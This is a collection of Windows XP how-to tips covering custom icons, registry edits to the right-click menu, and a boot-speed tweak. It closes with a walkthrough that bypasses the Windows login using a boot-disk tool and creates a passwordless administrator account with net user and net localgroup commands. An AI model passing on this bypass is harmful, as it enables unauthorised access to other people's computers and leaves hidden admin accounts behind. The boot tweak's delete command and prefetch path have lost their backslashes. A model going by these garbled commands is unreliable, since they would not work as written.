Make your Own Icon in Windows

It's shockingly easy to create your own icons in Windows XP. Let's do it: Click Start, click All Programs, click Accessories, and then click Paint. On the Image menu, click Attributes. Type 32 for both the Width and Height of the document, and make sure that Pixels is selected under Units. Click OK to create a new 32x32-pixel document: the size of an icon.
Now add type, color, or do whatever you'd like to your image. I like to shrink photos (headshots work best) to 32x32 and simply paste them into my Paint document. When you're finished, open the File menu and click Save As. Use the dialog box to choose where you want to save your file, then give it a name followed by ".ico" (without the quotes), and click Save. (The extension ".ico" tells Windows that it's an icon file.) You just created an icon! Now you can change any shortcut or folder to your own icon—just browse to it on your hard drive.

How To Remove and Add Right-Click Menu Items from Files and Folders

How To Remove and Add Right-Click Menu Items from Files and Folders


REMOVING ITEMS


A lot of programs you install will add themselves to the right-click menu of your files and/or folders. And most times,
you have no choice in the matter and, as a result, your right-click menu can get very long with added items you don't
even use. The last person I was helping with this had a right context menu so long that the Rename option was no longer
visible!
Fortunately, you can easily remove those unwanted menu items, if you know the registry values to edit. And it's not at
all difficult once you know the keys responsible for the additions.

For Files, the secret lies in the "context menu handlers" under the shellex subkey for "All Files" which, in the registry, is
nothing but an asterisk - like a dos wildcard, which means the values entered apply to all files. It is at the very top of the
Root key, right here:


HKEY_CLASSES_ROOT\*\shellex\ContextMenuHandlers


Click the the + sign next to the ContextMenuHandlers key, to expand it.
Now you will see some of the programs that have added items to your right-click menu. Simply delete the program keys
you don't want.
Yup! It's that simple. If deleting makes you uneasy, just export the key before deleting it. Or, instead of deleting the
values, disable them. Simply double click the default value for the program on the right hand pane and rename the clsid
value by placing a period or dash in front of it.

ie; - {b5eedee0-c06e-11cf-8c56-444553540000}

Then exit the registry, refresh, and right click a file to see if the item was removed from the menu.
Some programs - like WinZip or WinRar - will add several items to your right click menu but all of them will be
removed by deleting or disabling their one context menu handler.

Note:- that the above key only applies to the right click menu of files.

To remove entries from the right click context menu of folders, you need to navigate to the Folder and Drive keys:


HKEY_CLASSES_ROOT\Folder\shellex\ContextMenuHandlers
HKEY_CLASSES_ROOT\Drive\shellex\ContextMenuHandlers


All you have to do is follow the same procedure as for Files - either disable or delete items you wish to remove.




Adding Items


Adding Items to the right click menu of Files and Folders is also fairly simple using the Registry. It just involves the
creation of a few new keys for each item you wish to add. You edit the same keys used for removing items. Let's use
Notepad as an example of an item you'd like to add to the right click menu of all your files or folders.

For folders, go to this key:

HKEY_CLASSES_ROOT\Folder

Click the + sign next to Folder and expand it so that the Shell key is visible. Right click the Shell key and choose
New>Key and name the key Notepad or whatever else you'd prefer (whatever the key is named is what will appear in the
right-click menu). Now right click the new key you made and create another key named Command. Then, in the right
hand pane, double click "Default" and enter Notepad.exe as the value.
Exit the registry, refresh, and right click any folder. Notepad should now be on the context menu.


For files, go here again:


HKEY_CLASSES_ROOT\*

Expand the * key and see if a Shell key exists. If it does exist, follow the same procedure as for folders. If it does not
exist, you'll have to create a new Shell first. Just right click the * key and choose New>Key and name it Shell. Then
right click the Shell key and continue on the same way you did for adding items to the right click menu of folders.
Once done, Notepad should appear as an option in the right click menu of all your files.

Increase Booting speed in XP

Increase Booting speed in XP

First of all, this tweak only apply to those who only have one HDD on their primary IDE channel (nothing else on
device 0 or 1) and a CD-ROM and/or DVD-ROM on the secondary IDE channel. Each time you boot Windows XP,
There’s an updated file called NTOSBOOT-*.pf who appears in your prefetch directory (%SystemRoot%Prefetch) and
there's no need to erase any other files as the new prefetch option in XP really improves loading time of installed
programs. We only want WindowsXP to boot faster and not decrease its performance. Thanks to Rod Cahoon (for the
prefetch automation process...with a minor change of mine) and Zeb for the IDE Channel tweak as those two tricks,
coupled together with a little modification, result in an EXTREMELY fast bootup:

1. Open notepad.exe, type "del c:windowsprefetch tosboot-*.* /q" (without the quotes) & save as "ntosboot.bat" in c:

2. From the Start menu, select "Run..." & type "gpedit.msc".

3. Double click "Windows Settings" under "Computer Configuration" and double click again on "Shutdown" in the
right window.

4. In the new window, click "add", "Browse", locate your "ntosboot.bat" file & click "Open".


5. Click "OK", "Apply" & "OK" once again to exit.

6. From the Start menu, select "Run..." & type "devmgmt.msc".

7. Double click on "IDE ATA/ATAPI controllers"

8. Right click on "Primary IDE Channel" and select "Properties".

9. Select the "Advanced Settings" tab then on the device 0 or 1 that doesn't have 'device type' greyed out select 'none'
instead of 'autodetect' & click "OK".

10. Right click on "Secondary IDE channel", select "Properties" and repeat step 9.

11. Reboot your computer.

WindowsXP should now boot REALLY faster

Reset password from kon-boot

use a program called kon-boot. just google it and download the .iso image. use active iso burner to burn it to a cd. reboot the computer and go to the boot menu. boot from your cd drive and let kon-boot do its thing. when you go to log in to the selected profile leave the password field blank and enter. you’re in the account. you can’t change your own password if you don’t know it! to fix this, pull up a command prompt and type in (without quotes):
“net user username /add”
(username is any name you want)
hit enter then type (without quotes):
“net localgroup administrators /add username”
(where username is the same as it was before)
this will create a user with administrative privileges and no password. login to this user and go to control panel> user accounts> manage another acount. select the user you forgot the password for and delete its password. login.
